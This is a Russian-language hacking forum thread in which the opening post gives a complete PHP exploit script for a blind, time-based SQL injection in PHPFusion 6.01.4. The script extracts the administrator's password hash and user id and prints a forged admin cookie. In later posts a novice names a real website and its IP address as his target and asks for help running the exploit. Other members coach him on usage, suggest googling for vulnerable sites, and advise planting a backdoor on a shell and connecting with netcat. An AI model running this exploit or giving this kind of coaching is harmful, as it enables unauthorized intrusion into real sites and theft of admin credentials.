Форумы php-fusion 6.01.4 exploit sql

Discussion in 'Уязвимости CMS/форумов' started by splitefire, 11 Oct 2006.

Thread Status:
Not open for further replies.
  1. splitefire

    splitefire Member

    Joined:
    11 Oct 2006
    Messages:
    6
    Likes Received:
    7
    Reputations:
    0
    If somebody needs...

    Code:
    #!/usr/bin/php -q -d short_open_tag=on 
    <? 
    print_r(' 
    -------------------------------------------------------------------------------- 
    PHPFusion <= 6.01.4 extract()/_SERVER[REMOTE_ADDR] sql injection exploit 
    by rgod [email protected] 
    site: http://retrogod.altervista.org 
    -------------------------------------------------------------------------------- 
    '); 
    /* 
    works with 
    register globals = *Off* 
    magic_quotes_gcp = Off 
    
    explaination: 
    vulnerable code in maincore.php at lines 15-21: 
    
    ... 
    if (ini_get('register_globals') != 1) { 
       $supers = array("_REQUEST","_ENV","_SERVER","_POST","_GET","_COOKIE","_SESSION","_FILES","_GLOBALS"); 
       foreach ($supers as $__s) { 
          if ((isset($$__s) == true) && (is_array($$__s) == true)) extract($$__s, EXTR_OVERWRITE); 
       } 
       unset($supers); 
    } 
    ... 
    
    extract() function can be sometimes a security hazard, in this case it allows 
    to overwrite some arrays like _SERVER[] one and launch an sql injection attack, 
    ex: 
    
    http://[target]/[path]/news.php?_SERVER[REMOTE_ADDR]='[SQL] 
    
    other attacks may be possible... 
    */ 
    
    if ($argc<3) { 
    print_r(' 
    -------------------------------------------------------------------------------- 
    Usage: php '.$argv[0].' host path OPTIONS 
    host:      target server (ip/hostname) 
    path:      path to PHPFusion 
    Options: 
       -T[prefix:   specify a table prefix (default: fusion_) 
       -p[port]:    specify a port other than 80 
       -P[ip:port]: specify a proxy 
    Examples: 
    php '.$argv[0].' localhost /fusion/ 
    php '.$argv[0].' localhost /fusion/ -p81 
    php '.$argv[0].' localhost / -P1.1.1.1:80 
    -------------------------------------------------------------------------------- 
    '); 
    die; 
    } 
    
    error_reporting(0); 
    ini_set("max_execution_time",0); 
    ini_set("default_socket_timeout",5); 
    
    function quick_dump($string) 
    { 
      $result='';$exa='';$cont=0; 
      for ($i=0; $i<=strlen($string)-1; $i++) 
      { 
       if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) 
       {$result.="  .";} 
       else 
       {$result.="  ".$string[$i];} 
       if (strlen(dechex(ord($string[$i])))==2) 
       {$exa.=" ".dechex(ord($string[$i]));} 
       else 
       {$exa.=" 0".dechex(ord($string[$i]));} 
       $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} 
      } 
     return $exa."\r\n".$result; 
    } 
    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; 
    function sendpacketii($packet) 
    { 
      global $proxy, $host, $port, $html, $proxy_regex; 
      if ($proxy=='') { 
        $ock=fsockopen(gethostbyname($host),$port); 
        if (!$ock) { 
          echo 'No response from '.$host.':'.$port; die; 
        } 
      } 
      else { 
       $c = preg_match($proxy_regex,$proxy); 
        if (!$c) { 
          echo 'Not a valid proxy...';die; 
        } 
        $parts=explode(':',$proxy); 
        echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; 
        $ock=fsockopen($parts[0],$parts[1]); 
        if (!$ock) { 
          echo 'No response from proxy...';die; 
       } 
      } 
      fputs($ock,$packet); 
      if ($proxy=='') { 
        $html=''; 
        while (!feof($ock)) { 
          $html.=fgets($ock); 
        } 
      } 
      else { 
        $html=''; 
        while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { 
          $html.=fread($ock,1); 
        } 
      } 
      fclose($ock); 
      #debug 
      #echo "\r\n".$html; 
    } 
    
    $host=$argv[1]; 
    $path=$argv[2]; 
    $port=80; 
    $proxy=""; 
    $prefix="fusion_"; 
    for ($i=3; $i<$argc; $i++){ 
    $temp=$argv[$i][0].$argv[$i][1]; 
    if ($temp=="-p") 
    { 
      $port=str_replace("-p","",$argv[$i]); 
    } 
    if ($temp=="-P") 
    { 
      $proxy=str_replace("-P","",$argv[$i]); 
    } 
    if ($temp=="-T") 
    { 
      $prefix=str_replace("-T","",$argv[$i]); 
    } 
    } 
    if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} 
    if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} 
    
    $chars[0]=0;//null 
    $chars=array_merge($chars,range(48,57)); //numbers 
    $chars=array_merge($chars,range(97,102));//a-f letters 
    $j=1;$password=""; 
    while (!strstr($password,chr(0))) 
    { 
    for ($i=0; $i<=255; $i++) 
    { 
    if (in_array($i,$chars)) 
    { 
    $sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_password,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*"; 
    echo "sql -> ".$sql."\n"; 
    $sql=urlencode($sql); 
    $packet="GET ".$p."news.php HTTP/1.0\r\n"; 
    $packet.="Accept: text/plain\r\n"; 
    $packet.="Host: ".$host."\r\n"; 
    $packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n"; 
    $packet.="Connection: Close\r\n\r\n"; 
    usleep(2000000); 
    $starttime=time(); 
    sendpacketii($packet); 
    $endtime=time(); 
    echo "starttime -> ".$starttime."\n"; 
    echo "endtime -> ".$endtime."\n"; 
    $difftime=$endtime - $starttime; 
    echo "difftime -> ".$difftime."\n"; 
    if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\n";sleep(1);break;} 
    
    } 
    if ($i==255) {die("\nExploit failed...");} 
    } 
    $j++; 
    } 
    
    $chars[]=""; 
    $chars[0]=0;//null 
    $chars=array_merge($chars,range(48,57)); //numbers 
    $j=1;$id=""; 
    while (!strstr($id,chr(0))) 
    { 
    for ($i=0; $i<=255; $i++) 
    { 
    if (in_array($i,$chars)) 
    { 
    $sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_id,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*"; 
    echo "sql -> ".$sql."\n"; 
    $sql=urlencode($sql); 
    $packet="GET ".$p."news.php HTTP/1.0\r\n"; 
    $packet.="Accept: text/plain\r\n"; 
    $packet.="Host: ".$host."\r\n"; 
    $packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n"; 
    $packet.="Connection: Close\r\n\r\n"; 
    usleep(2000000); 
    $starttime=time(); 
    sendpacketii($packet); 
    $endtime=time(); 
    echo "starttime -> ".$starttime."\n"; 
    echo "endtime -> ".$endtime."\n"; 
    $difftime=$endtime - $starttime; 
    echo "difftime -> ".$difftime."\n"; 
    if ($difftime > 10) {$id.=chr($i);echo "id -> ".$id."[???]\n";sleep(1);break;} 
    
    } 
    if ($i==255) {die("\nExploit failed...");} 
    } 
    $j++; 
    } 
    echo "admin cookie -> fusion_user=".trim($id).$password.";\n"; 
    ?> 
    
     
  2. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    мда.
     
  3. memo

    memo New Member

    Joined:
    28 Jan 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Взял на пробу этот эксплойт, нашел шпаргалку: http://forum.antichat.ru/threadnav26510-1-10.html

    далее нашел вот это:

    Usage: php '.$argv[0].' host path OPTIONS
    host: target server (ip/hostname)
    path: path to PHPFusion
    Options:
    -T[prefix: specify a table prefix (default: fusion_)
    -p[port]: specify a port other than 80
    -P[ip:port]: specify a proxy
    Examples:
    php '.$argv[0].' localhost /fusion/
    php '.$argv[0].' localhost /fusion/ -p81
    php '.$argv[0].' localhost / -P1.1.1.1:80

    цель выбрал эту - www.conadsis.com (IP: 70.86.20.18)

    php у меня на c:\php\php.exe там же и sploit.php

    пишу по шпаргалке (cmd):

    c:\php\php.exe c:\php\sploit.php '.$argv[0].' 70.86.20.18
    или
    c:\php\php.exe c:\php\sploit.php '.$argv[0].' www.conadsis.com

    получаю какую-то херню ввиде прокрутки текста эксплойта.

    В чем ошибка? Правильно ли записываю аргументы? Может быт при инсталяции php надо указывать какие-нибудь опции?

    P.S. Пробую впервые, для спортивного интересу, php и perl не знаю, но, вроде, по написаному ничего сложного нет. Может шпаргалка кривая?
     
  4. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Пиши так:

    php c:\sp\sp.php http://site.ru /fusion/

    А вообще если написать без параметров, т.е. так:

    php c:\sp\sp.php

    То появится сообщение в котором будет написано как правльно писать, и там нету '.$argv[0].' - это ты взял в самом коде, а на экран выведется содержимое это переменной, а её содержимое это путь к файлу-сплоиту, вот и всё. Будь внимательнее.
     
    #4 Grey, 2 Feb 2007
    Last edited: 2 Feb 2007
    1 person likes this.
  5. memo

    memo New Member

    Joined:
    28 Jan 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    пАнял, спасибо. Бум пробовать.
     
  6. memo

    memo New Member

    Joined:
    28 Jan 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    В гогле набери "php-fusion 6.01.4" и будет тебе счастье :D там штук двадцать сразу выдаст.
     
  7. memo

    memo New Member

    Joined:
    28 Jan 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Набрал.
    Получил что-то не то:

    Parse error: syntax error, unexpected T_STRING in c:\sp\sp.php on line 108


    это, вроде, сообщение о синтаксической ошибке. У меня версия PHP - 5.0.4, может надо поновее или что-то в сплойте не так?
     
  8. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    2 memo
    Форум добавил пробел на 108 строке в переменную $html , убери его
     
    _________________________
    2 people like this.
  9. memo

    memo New Member

    Joined:
    28 Jan 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    спасибо, нашел, бум смотреть дальше ;)
     
  10. memo

    memo New Member

    Joined:
    28 Jan 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Может быть что-то в инсталяции или настройках php не так, после ввода с консоли

    c:\php\>php c:\sp\sp.php

    выдаёт распечатку файла sp.php, как после досовской команды type.

    Ощущение такое, что интерпретатор php не работает. Сейчас пробую дома на php 5.2.0

    Раньше пробовал на работе, на более древней версии php, но там интерпретатор работал, выдавал синтаксическую ошибку. Есть ли какие особенности инсталирования или какие-то явные причины нерабочего состояния интерпретатора php?
     
    #10 memo, 6 Feb 2007
    Last edited: 6 Feb 2007
  11. memo

    memo New Member

    Joined:
    28 Jan 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Вроде, заработало, но сплойту мешает прокся за которой сижу. Есть ли варианты выхода через прокси?

    [​IMG]
     
  12. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    А ты с шелла запускай...
     
    _________________________
    1 person likes this.
  13. memo

    memo New Member

    Joined:
    28 Jan 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Где почитать, чтоб попроще? Не пробовал ниразу :confused:
     
  14. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Да нигде... запускай на шелле бэкдор, коннекться неткэтом и запускай...
     
    _________________________
    1 person likes this.
  15. memo

    memo New Member

    Joined:
    28 Jan 2007
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    ниасилю...

    вот попробовал другой вариант, команда таже, но без прокси, ответ пишет такой:

    No response from http://www.conadsis.com:80

    так надо понимать, что 80-ый порт не подходит?

    Как узнать на каком порте надо ресурс указать?

    Штук десять сайтов попробовал и на всех No response..., видимо, что-то не так делаю.
     
    #15 memo, 8 Feb 2007
    Last edited: 8 Feb 2007
  16. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    Хватит . Closed
     
    1 person likes this.
Thread Status:
Not open for further replies.